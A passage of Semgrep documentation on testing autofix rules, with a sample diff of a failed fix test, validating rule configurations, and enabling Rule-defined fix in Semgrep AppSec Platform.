1/1: β All fix tests passed
```
If the fix does not behave as expected, the output prints a line diff.
For example, if you replace `secure_eval` with `safe_eval`, you can see that lines 5 and 15 do not render as expected.
```sh theme={null}
1/1: β All tests passed
0/1: 1 fix tests did not pass:
--------------------------------------------------------------------------------
β targets/python/detect-eval.fixed.py <> autofix applied to targets/python/detect-eval.py
---
+++
@@ -5 +5 @@
-safe_eval(user_input)
+secure_eval(user_input)
@@ -15 +15 @@
-safe_eval(safe_get_user_input())
+secure_eval(safe_get_user_input())
```
## Validating rules
You can run `semgrep --validate --config [filename]` to verify the rule's configuration. This command runs a combination of Semgrep rules and OCaml checks against your rules to search for issues such as duplicate patterns and missing fields. All rules submitted to the Semgrep Registry are validated.
The semgrep rules are pulled from `p/semgrep-rule-lints`.
This feature is still experimental and under active development. Your feedback is welcomed!
## Enable Rule-defined fix in Semgrep Code
To enable Rule-defined fix for all projects in your Semgrep organization:
In Semgrep AppSec Platform, go to [**Settings > General > Code**](https://semgrep.dev/orgs/-/settings/general/code).
Click the **Rule-defined fix** toggle to enable this feature.